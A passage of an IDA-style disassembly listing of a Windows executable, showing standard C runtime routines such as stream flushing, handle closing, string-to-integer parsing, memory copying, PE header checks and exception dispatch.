loc_414B52: ; CODE XREF: sub_414B40+7j
push esi
call sub_414ADE
test eax, eax
pop ecx
jz short loc_414B62
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_414B62: ; CODE XREF: sub_414B40+1Bj
test word ptr [esi+0Ch], 4000h
jz short loc_414B7E
push esi
call sub_414AB1
push eax
call sub_41A0D7
pop ecx
pop ecx
neg eax
sbb eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_414B7E: ; CODE XREF: sub_414B40+28j
xor eax, eax
pop esi
retn
sub_414B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B82 proc near ; CODE XREF: sub_414B40+Ap
; sub_414C5C+2p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00414C35 SIZE 0000001E BYTES
push 14h
push offset dword_41FAD0
call __SEH_prolog4
xor edi, edi
mov [ebp+var_1C], edi
mov [ebp+var_24], edi
push 1
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], edi
xor esi, esi
loc_414BA3: ; CODE XREF: sub_414B82+9Bj
mov [ebp+var_20], esi
cmp esi, dword_426000
jge loc_414C35
mov eax, dword_424FE0
lea eax, [eax+esi*4]
cmp [eax], edi
jz short loc_414C1C
mov eax, [eax]
test byte ptr [eax+0Ch], 83h
jz short loc_414C1C
push eax
push esi
call sub_413B88
pop ecx
pop ecx
xor edx, edx
inc edx
mov [ebp+ms_exc.disabled], edx
mov eax, dword_424FE0
mov eax, [eax+esi*4]
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_414C14
cmp [ebp+arg_0], edx
jnz short loc_414BFB
push eax
call sub_414B40
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_414C14
inc [ebp+var_1C]
jmp short loc_414C14
; ---------------------------------------------------------------------------
loc_414BFB: ; CODE XREF: sub_414B82+66j
cmp [ebp+arg_0], edi
jnz short loc_414C14
test cl, 2
jz short loc_414C14
push eax
call sub_414B40
pop ecx
cmp eax, 0FFFFFFFFh
jnz short loc_414C14
or [ebp+var_24], eax
loc_414C14: ; CODE XREF: sub_414B82+61j
; sub_414B82+72j ...
mov [ebp+ms_exc.disabled], edi
call sub_414C24
loc_414C1C: ; CODE XREF: sub_414B82+3Aj
; sub_414B82+42j
inc esi
jmp short loc_414BA3
sub_414B82 endp
; =============== S U B R O U T I N E =======================================
sub_414C1F proc near ; DATA XREF: .vty:0041FAF4o
xor edi, edi
mov esi, [ebp-20h]
sub_414C1F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414C24 proc near ; CODE XREF: sub_414B82+95p
mov eax, dword_424FE0
push dword ptr [eax+esi*4]
push esi
call sub_413BDA
pop ecx
pop ecx
retn
sub_414C24 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_414B82
loc_414C35: ; CODE XREF: sub_414B82+2Aj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_414C53
cmp [ebp+arg_0], 1
mov eax, [ebp+var_1C]
jz short loc_414C4D
mov eax, [ebp+var_24]
loc_414C4D: ; CODE XREF: sub_414B82+C6j
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_414B82
; =============== S U B R O U T I N E =======================================
sub_414C53 proc near ; CODE XREF: sub_414B82+BAp
; DATA XREF: .vty:0041FAE8o
push 1
call sub_416CCE
pop ecx
retn
sub_414C53 endp
; =============== S U B R O U T I N E =======================================
sub_414C5C proc near ; CODE XREF: sub_413B39p
push 1
call sub_414B82
pop ecx
retn
sub_414C5C endp
; =============== S U B R O U T I N E =======================================
sub_414C65 proc near ; CODE XREF: sub_414CF9+94p
; sub_418D2B+340p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_419E05
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_414CC4
cmp esi, 1
mov eax, dword_424EE0
jnz short loc_414C87
test byte ptr [eax+54h], 1
jnz short loc_414C92
loc_414C87: ; CODE XREF: sub_414C65+1Aj
cmp esi, 2
jnz short loc_414CA8
test byte ptr [eax+2Ch], 1
jz short loc_414CA8
loc_414C92: ; CODE XREF: sub_414C65+20j
push 2
call sub_419E05
push 1
mov edi, eax
call sub_419E05
cmp eax, edi
pop ecx
pop ecx
jz short loc_414CC4
loc_414CA8: ; CODE XREF: sub_414C65+25j
; sub_414C65+2Bj
push esi
call sub_419E05
pop ecx
push eax
call dword_41C0D4 ; CloseHandle
test eax, eax
jnz short loc_414CC4
call dword_41C0A4 ; RtlGetLastWin32Error
mov edi, eax
jmp short loc_414CC6
; ---------------------------------------------------------------------------
loc_414CC4: ; CODE XREF: sub_414C65+10j
; sub_414C65+41j ...
xor edi, edi
loc_414CC6: ; CODE XREF: sub_414C65+5Dj
push esi
call sub_419D84
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
test edi, edi
mov eax, dword_424EE0[eax*4]
pop ecx
mov byte ptr [eax+esi+4], 0
jz short loc_414CF4
push edi
call sub_40F7C4
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_414CF6
; ---------------------------------------------------------------------------
loc_414CF4: ; CODE XREF: sub_414C65+81j
xor eax, eax
loc_414CF6: ; CODE XREF: sub_414C65+8Dj
pop edi
pop esi
retn
sub_414C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CF9 proc near ; CODE XREF: sub_40FD09+48p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_41FAF8
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_414D28
call sub_40F7B1
and dword ptr [eax], 0
call sub_40F79E
mov dword ptr [eax], 9
loc_414D20: ; CODE XREF: sub_414CF9+5Cj
or eax, 0FFFFFFFFh
jmp loc_414DB6
; ---------------------------------------------------------------------------
loc_414D28: ; CODE XREF: sub_414CF9+12j
xor edi, edi
cmp eax, edi
jl short loc_414D36
cmp eax, dword_424EC8
jb short loc_414D57
loc_414D36: ; CODE XREF: sub_414CF9+33j
; sub_414CF9+7Cj
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
jmp short loc_414D20
; ---------------------------------------------------------------------------
loc_414D57: ; CODE XREF: sub_414CF9+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:424EE0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [ebx]
movzx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_414D36
push eax
call sub_419E76
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_414D98
push [ebp+arg_0]
call sub_414C65
pop ecx
mov [ebp+var_1C], eax
jmp short loc_414DA7
; ---------------------------------------------------------------------------
loc_414D98: ; CODE XREF: sub_414CF9+8Fj
call sub_40F79E
mov dword ptr [eax], 9
or [ebp+var_1C], 0FFFFFFFFh
loc_414DA7: ; CODE XREF: sub_414CF9+9Dj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_414DBC
mov eax, [ebp+var_1C]
loc_414DB6: ; CODE XREF: sub_414CF9+2Aj
call __SEH_epilog4
retn
sub_414CF9 endp
; =============== S U B R O U T I N E =======================================
sub_414DBC proc near ; CODE XREF: sub_414CF9+B5p
; DATA XREF: .vty:0041FB10o
push dword ptr [ebp+8]
call sub_419F16
pop ecx
retn
sub_414DBC endp
; =============== S U B R O U T I N E =======================================
sub_414DC6 proc near ; CODE XREF: sub_40FD09+3Cp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_414DF0
test al, 8
jz short loc_414DF0
push dword ptr [esi+8]
call sub_41112C
and dword ptr [esi+0Ch], 0FFFFFBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_414DF0: ; CODE XREF: sub_414DC6+Aj
; sub_414DC6+Ej
pop esi
retn
sub_414DC6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414E00 proc near ; CODE XREF: sub_40FDF8+29p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_414E22
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_414E63
; ---------------------------------------------------------------------------
loc_414E22: ; CODE XREF: sub_414E00+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_414E30: ; CODE XREF: sub_414E00+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_414E30
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_414E5E
cmp edx, [esp+8+arg_4]
ja short loc_414E5E
jb short loc_414E5F
cmp eax, [esp+8+arg_0]
jbe short loc_414E5F
loc_414E5E: ; CODE XREF: sub_414E00+4Ej
; sub_414E00+54j
dec esi
loc_414E5F: ; CODE XREF: sub_414E00+56j
; sub_414E00+5Cj
xor edx, edx
mov eax, esi
loc_414E63: ; CODE XREF: sub_414E00+20j
pop esi
pop ebx
retn 10h
sub_414E00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E68 proc near ; CODE XREF: sub_415093:loc_4150B2p
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_14]
call sub_40F7E2
mov eax, [ebp+arg_8]
mov esi, [ebp+arg_4]
xor edi, edi
cmp eax, edi
jz short loc_414E89
mov [eax], esi
loc_414E89: ; CODE XREF: sub_414E68+1Dj
cmp esi, edi
jnz short loc_414EB9
loc_414E8D: ; CODE XREF: sub_414E68+5Aj
; sub_414E68+60j
call sub_40F79E
push edi
push edi
push edi
push edi
push edi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_8], 0
jz short loc_414EB2
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_414EB2: ; CODE XREF: sub_414E68+41j
xor eax, eax
jmp loc_41508F
; ---------------------------------------------------------------------------
loc_414EB9: ; CODE XREF: sub_414E68+23j
cmp [ebp+arg_C], edi
jz short loc_414ECA
cmp [ebp+arg_C], 2
jl short loc_414E8D
cmp [ebp+arg_C], 24h
jg short loc_414E8D
loc_414ECA: ; CODE XREF: sub_414E68+54j
mov ecx, [ebp+var_14]
push ebx
mov bl, [esi]
mov [ebp+var_4], edi
lea edi, [esi+1]
loc_414ED6: ; CODE XREF: sub_414E68+A5j
cmp dword ptr [ecx+0ACh], 1
jle short loc_414EF6
lea eax, [ebp+var_14]
push eax
movzx eax, bl
push 8
push eax
call sub_4139CC
mov ecx, [ebp+var_14]
add esp, 0Ch
jmp short loc_414F06
; ---------------------------------------------------------------------------
loc_414EF6: ; CODE XREF: sub_414E68+75j
mov edx, [ecx+0C8h]
movzx eax, bl
movzx eax, byte ptr [edx+eax*2]
and eax, 8
loc_414F06: ; CODE XREF: sub_414E68+8Cj
test eax, eax
jz short loc_414F0F
mov bl, [edi]
inc edi
jmp short loc_414ED6
; ---------------------------------------------------------------------------
loc_414F0F: ; CODE XREF: sub_414E68+A0j
cmp bl, 2Dh
jnz short loc_414F1A
or [ebp+arg_10], 2
jmp short loc_414F1F
; ---------------------------------------------------------------------------
loc_414F1A: ; CODE XREF: sub_414E68+AAj
cmp bl, 2Bh
jnz short loc_414F22
loc_414F1F: ; CODE XREF: sub_414E68+B0j
mov bl, [edi]
inc edi
loc_414F22: ; CODE XREF: sub_414E68+B5j
mov eax, [ebp+arg_C]
test eax, eax
jl loc_415076
cmp eax, 1
jz loc_415076
cmp eax, 24h
jg loc_415076
test eax, eax
jnz short loc_414F6D
cmp bl, 30h
jz short loc_414F51
mov [ebp+arg_C], 0Ah
jmp short loc_414F85
; ---------------------------------------------------------------------------
loc_414F51: ; CODE XREF: sub_414E68+DEj
mov al, [edi]
cmp al, 78h
jz short loc_414F64
cmp al, 58h
jz short loc_414F64
mov [ebp+arg_C], 8
jmp short loc_414F85
; ---------------------------------------------------------------------------
loc_414F64: ; CODE XREF: sub_414E68+EDj
; sub_414E68+F1j
mov [ebp+arg_C], 10h
jmp short loc_414F77
; ---------------------------------------------------------------------------
loc_414F6D: ; CODE XREF: sub_414E68+D9j
cmp eax, 10h
jnz short loc_414F85
cmp bl, 30h
jnz short loc_414F85
loc_414F77: ; CODE XREF: sub_414E68+103j
mov al, [edi]
cmp al, 78h
jz short loc_414F81
cmp al, 58h
jnz short loc_414F85
loc_414F81: ; CODE XREF: sub_414E68+113j
inc edi
mov bl, [edi]
inc edi
loc_414F85: ; CODE XREF: sub_414E68+E7j
; sub_414E68+FAj ...
mov esi, [ecx+0C8h]
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_C]
loc_414F93: ; CODE XREF: sub_414E68+19Dj
movzx ecx, bl
movzx ecx, word ptr [esi+ecx*2]
test cl, 4
jz short loc_414FA7
movsx ecx, bl
sub ecx, 30h
jmp short loc_414FC1
; ---------------------------------------------------------------------------
loc_414FA7: ; CODE XREF: sub_414E68+135j
test cx, 103h
jz short loc_414FDF
mov cl, bl
sub cl, 61h
cmp cl, 19h
movsx ecx, bl
ja short loc_414FBE
sub ecx, 20h
loc_414FBE: ; CODE XREF: sub_414E68+151j
add ecx, 0FFFFFFC9h
loc_414FC1: ; CODE XREF: sub_414E68+13Dj
cmp ecx, [ebp+arg_C]
jnb short loc_414FDF
or [ebp+arg_10], 8
cmp [ebp+var_4], eax
jb short loc_414FF6
jnz short loc_414FD5
cmp ecx, edx
jbe short loc_414FF6
loc_414FD5: ; CODE XREF: sub_414E68+167j
or [ebp+arg_10], 4
cmp [ebp+arg_8], 0
jnz short loc_415002
loc_414FDF: ; CODE XREF: sub_414E68+144j
; sub_414E68+15Cj
mov eax, [ebp+arg_10]
dec edi
test al, 8
jnz short loc_415007
cmp [ebp+arg_8], 0
jz short loc_414FF0
mov edi, [ebp+arg_4]
loc_414FF0: ; CODE XREF: sub_414E68+183j
and [ebp+var_4], 0
jmp short loc_415052
; ---------------------------------------------------------------------------
loc_414FF6: ; CODE XREF: sub_414E68+165j
; sub_414E68+16Bj
mov ebx, [ebp+var_4]
imul ebx, [ebp+arg_C]
add ebx, ecx
mov [ebp+var_4], ebx
loc_415002: ; CODE XREF: sub_414E68+175j
mov bl, [edi]
inc edi
jmp short loc_414F93
; ---------------------------------------------------------------------------
loc_415007: ; CODE XREF: sub_414E68+17Dj
test al, 4
mov esi, 7FFFFFFFh
jnz short loc_41502B
test al, 1
jnz short loc_415052
and eax, 2
jz short loc_415022
cmp [ebp+var_4], 80000000h
ja short loc_41502B
loc_415022: ; CODE XREF: sub_414E68+1AFj
test eax, eax
jnz short loc_415052
cmp [ebp+var_4], esi
jbe short loc_415052
loc_41502B: ; CODE XREF: sub_414E68+1A6j
; sub_414E68+1B8j
call sub_40F79E
test byte ptr [ebp+arg_10], 1
mov dword ptr [eax], 22h
jz short loc_415042
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_415052
; ---------------------------------------------------------------------------
loc_415042: ; CODE XREF: sub_414E68+1D2j
mov al, byte ptr [ebp+arg_10]
and al, 2
neg al
sbb eax, eax
neg eax
add eax, esi
mov [ebp+var_4], eax
loc_415052: ; CODE XREF: sub_414E68+18Cj
; sub_414E68+1AAj ...
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_41505B
mov [eax], edi
loc_41505B: ; CODE XREF: sub_414E68+1EFj
test byte ptr [ebp+arg_10], 2
jz short loc_415064
neg [ebp+var_4]
loc_415064: ; CODE XREF: sub_414E68+1F7j
cmp [ebp+var_8], 0
jz short loc_415071
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_415071: ; CODE XREF: sub_414E68+200j
mov eax, [ebp+var_4]
jmp short loc_41508E
; ---------------------------------------------------------------------------
loc_415076: ; CODE XREF: sub_414E68+BFj
; sub_414E68+C8j ...
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_41507F
mov [eax], esi
loc_41507F: ; CODE XREF: sub_414E68+213j
cmp [ebp+var_8], 0
jz short loc_41508C
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41508C: ; CODE XREF: sub_414E68+21Bj
xor eax, eax
loc_41508E: ; CODE XREF: sub_414E68+20Cj
pop ebx
loc_41508F: ; CODE XREF: sub_414E68+4Cj
pop edi
pop esi
leave
retn
sub_414E68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415093 proc near ; CODE XREF: sub_41002F+8p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
xor eax, eax
cmp dword_424424, eax
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
jnz short loc_4150B1
push offset off_423898
jmp short loc_4150B2
; ---------------------------------------------------------------------------
loc_4150B1: ; CODE XREF: sub_415093+15j
push eax
loc_4150B2: ; CODE XREF: sub_415093+1Cj
call sub_414E68
add esp, 14h
pop ebp
retn
sub_415093 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150BC proc near ; CODE XREF: sub_415143+4Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], edi
mov [ebp+var_8], esi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
shr ecx, 7
jmp short loc_4150DC
; ---------------------------------------------------------------------------
db 8Dh, 9Bh, 4 dup(0)
; ---------------------------------------------------------------------------
loc_4150DC: ; CODE XREF: sub_4150BC+18j
; sub_4150BC+7Bj
movdqa xmm0, oword ptr [esi]
movdqa xmm1, oword ptr [esi+10h]
movdqa xmm2, oword ptr [esi+20h]
movdqa xmm3, oword ptr [esi+30h]
movdqa oword ptr [edi], xmm0
movdqa oword ptr [edi+10h], xmm1
movdqa oword ptr [edi+20h], xmm2
movdqa oword ptr [edi+30h], xmm3
movdqa xmm4, oword ptr [esi+40h]
movdqa xmm5, oword ptr [esi+50h]
movdqa xmm6, oword ptr [esi+60h]
movdqa xmm7, oword ptr [esi+70h]
movdqa oword ptr [edi+40h], xmm4
movdqa oword ptr [edi+50h], xmm5
movdqa oword ptr [edi+60h], xmm6
movdqa oword ptr [edi+70h], xmm7
lea esi, [esi+80h]
lea edi, [edi+80h]
dec ecx
jnz short loc_4150DC
mov esi, [ebp+var_8]
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4150BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415143 proc near ; CODE XREF: sub_410050+42j
; sub_410C50+42j ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], edi
mov [ebp+var_8], esi
mov [ebp+var_4], ebx
mov ebx, [ebp+arg_4]
mov eax, ebx
cdq
mov ecx, eax
mov eax, [ebp+arg_0]
xor ecx, edx
sub ecx, edx
and ecx, 0Fh
xor ecx, edx
sub ecx, edx
cdq
mov edi, eax
xor edi, edx
sub edi, edx
and edi, 0Fh
xor edi, edx
sub edi, edx
mov edx, ecx
or edx, edi
jnz short loc_4151C6
mov esi, [ebp+arg_8]
mov ecx, esi
and ecx, 7Fh
mov [ebp+var_18], ecx
cmp esi, ecx
jz short loc_41519E
sub esi, ecx
push esi
push ebx
push eax
call sub_4150BC
add esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
loc_41519E: ; CODE XREF: sub_415143+46j
test ecx, ecx
jz short loc_415219
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
add edx, ebx
sub edx, ecx
mov [ebp+var_14], edx
add ebx, eax
sub ebx, ecx
mov [ebp+var_10], ebx
mov esi, [ebp+var_14]
mov edi, [ebp+var_10]
mov ecx, [ebp+var_18]
rep movsb
mov eax, [ebp+arg_0]
jmp short loc_415219
; ---------------------------------------------------------------------------
loc_4151C6: ; CODE XREF: sub_415143+37j
cmp ecx, edi
jnz short loc_4151FF
neg ecx
add ecx, 10h
mov [ebp+var_1C], ecx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+var_1C]
rep movsb
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_1C]
mov edx, [ebp+arg_4]
add edx, [ebp+var_1C]
mov eax, [ebp+arg_8]
sub eax, [ebp+var_1C]
push eax
push edx
push ecx
call sub_415143
add esp, 0Ch
mov eax, [ebp+arg_0]
jmp short loc_415219
; ---------------------------------------------------------------------------
loc_4151FF: ; CODE XREF: sub_415143+85j
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebp+arg_0]
loc_415219: ; CODE XREF: sub_415143+5Dj
; sub_415143+81j ...
mov ebx, [ebp+var_4]
mov esi, [ebp+var_8]
mov edi, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_415143 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415230 proc near ; CODE XREF: sub_4152A2+16p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 5A4Dh
jz short loc_41523E
loc_41523B: ; CODE XREF: sub_415230+19j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41523E: ; CODE XREF: sub_415230+9j
mov eax, [ecx+3Ch]
add eax, ecx
cmp dword ptr [eax], 4550h
jnz short loc_41523B
xor ecx, ecx
cmp word ptr [eax+18h], 10Bh
setz cl
mov eax, ecx
retn
sub_415230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415260 proc near ; CODE XREF: sub_4152A2+27p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
push ebx
push esi
movzx esi, word ptr [ecx+6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax+ecx+18h]
jbe short loc_41529C
mov edi, [esp+0Ch+arg_4]
loc_415282: ; CODE XREF: sub_415260+3Aj
mov ecx, [eax+0Ch]
cmp edi, ecx
jb short loc_415292
mov ebx, [eax+8]
add ebx, ecx
cmp edi, ebx
jb short loc_41529E
loc_415292: ; CODE XREF: sub_415260+27j
add edx, 1
add eax, 28h
cmp edx, esi
jb short loc_415282
loc_41529C: ; CODE XREF: sub_415260+1Cj
xor eax, eax
loc_41529E: ; CODE XREF: sub_415260+30j
pop edi
pop esi
pop ebx
retn
sub_415260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152A2 proc near ; CODE XREF: sub_4103C5+Ep
; .vty:004104A9p ...
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_41FB18
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
mov edx, 400000h
push edx
call sub_415230
pop ecx
test eax, eax
jz short loc_4152FF
mov eax, [ebp+arg_0]
sub eax, edx
push eax
push edx
call sub_415260
pop ecx
pop ecx
test eax, eax
jz short loc_4152FF
mov eax, [eax+24h]
shr eax, 1Fh
not eax
and eax, 1
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
jmp short loc_415308
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
xor ecx, ecx
cmp eax, 0C0000005h
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
loc_4152FF: ; CODE XREF: sub_4152A2+1Ej
; sub_4152A2+30j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
xor eax, eax
loc_415308: ; CODE XREF: sub_4152A2+44j
call __SEH_epilog4
retn
sub_4152A2 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41530F proc near ; CODE XREF: sub_4103C5+66p
; .vty:0041076Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call sub_411F7A
mov esi, eax
test esi, esi
jnz short loc_41532E
push [ebp+arg_4]
call dword_41C10C ; UnhandledExceptionFilter
jmp loc_41547B
; ---------------------------------------------------------------------------
loc_41532E: ; CODE XREF: sub_41530F+Fj
mov edx, [esi+5Ch]
mov eax, dword_423C64
push edi
mov edi, [ebp+arg_0]
mov ecx, edx
push ebx
loc_41533D: ; CODE XREF: sub_41530F+3Ej
cmp [ecx], edi
jz short loc_41534F
mov ebx, eax
imul ebx, 0Ch
add ecx, 0Ch
add ebx, edx
cmp ecx, ebx
jb short loc_41533D
loc_41534F: ; CODE XREF: sub_41530F+30j
imul eax, 0Ch
add eax, edx
cmp ecx, eax
jnb short loc_415360
cmp [ecx], edi
jnz short loc_415360
mov eax, ecx
jmp short loc_415362
; ---------------------------------------------------------------------------
loc_415360: ; CODE XREF: sub_41530F+47j
; sub_41530F+4Bj
xor eax, eax
loc_415362: ; CODE XREF: sub_41530F+4Fj
test eax, eax
jz short loc_415370
mov ebx, [eax+8]
test ebx, ebx
mov [ebp+var_4], ebx
jnz short loc_41537E
loc_415370: ; CODE XREF: sub_41530F+55j
push [ebp+arg_4]
call dword_41C10C ; UnhandledExceptionFilter
jmp loc_415479
; ---------------------------------------------------------------------------
loc_41537E: ; CODE XREF: sub_41530F+5Fj
cmp ebx, 5
jnz short loc_41538F
and dword ptr [eax+8], 0
xor eax, eax
inc eax
jmp loc_415479
; ---------------------------------------------------------------------------
loc_41538F: ; CODE XREF: sub_41530F+72j
cmp ebx, 1
jz loc_415476
mov ecx, [esi+60h]
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_4]
mov [esi+60h], ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_415468
mov ecx, dword_423C58
mov edi, dword_423C5C
mov edx, ecx
add edi, ecx
cmp edx, edi
jge short loc_4153E8
imul ecx, 0Ch
loc_4153C7: ; CODE XREF: sub_41530F+D4j
mov edi, [esi+5Ch]
and dword ptr [ecx+edi+8], 0
mov edi, dword_423C58
mov ebx, dword_423C5C
inc edx
add ebx, edi
add ecx, 0Ch
cmp edx, ebx
jl short loc_4153C7
mov ebx, [ebp+var_4]
loc_4153E8: ; CODE XREF: sub_41530F+B3j
mov eax, [eax]
cmp eax, 0C000008Eh
mov edi, [esi+64h]
jnz short loc_4153FD
mov dword ptr [esi+64h], 83h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_4153FD: ; CODE XREF: sub_41530F+E3j
cmp eax, 0C0000090h
jnz short loc_41540D
mov dword ptr [esi+64h], 81h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_41540D: ; CODE XREF: sub_41530F+F3j
cmp eax, 0C0000091h
jnz short loc_41541D
mov dword ptr [esi+64h], 84h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_41541D: ; CODE XREF: sub_41530F+103j
cmp eax, 0C0000093h
jnz short loc_41542D
mov dword ptr [esi+64h], 85h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_41542D: ; CODE XREF: sub_41530F+113j
cmp eax, 0C000008Dh
jnz short loc_41543D
mov dword ptr [esi+64h], 82h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_41543D: ; CODE XREF: sub_41530F+123j
cmp eax, 0C000008Fh
jnz short loc_41544D
mov dword ptr [esi+64h], 86h
jmp short loc_41545B
; ---------------------------------------------------------------------------
loc_41544D: ; CODE XREF: sub_41530F+133j
cmp eax, 0C0000092h
jnz short loc_41545B
mov dword ptr [esi+64h], 8Ah
loc_41545B: ; CODE XREF: sub_41530F+ECj
; sub_41530F+FCj ...
push dword ptr [esi+64h]
push 8
call ebx
pop ecx
mov [esi+64h], edi
jmp short loc_41546F
; ---------------------------------------------------------------------------
loc_415468: ; CODE XREF: sub_41530F+9Bj
and dword ptr [eax+8], 0
push ecx
call ebx
loc_41546F: ; CODE XREF: sub_41530F+157j
mov eax, [ebp+var_8]
pop ecx
mov [esi+60h], eax
loc_415476: ; CODE XREF: sub_41530F+83j
or eax, 0FFFFFFFFh
loc_415479: ; CODE XREF: sub_41530F+6Aj
; sub_41530F+7Bj
pop ebx
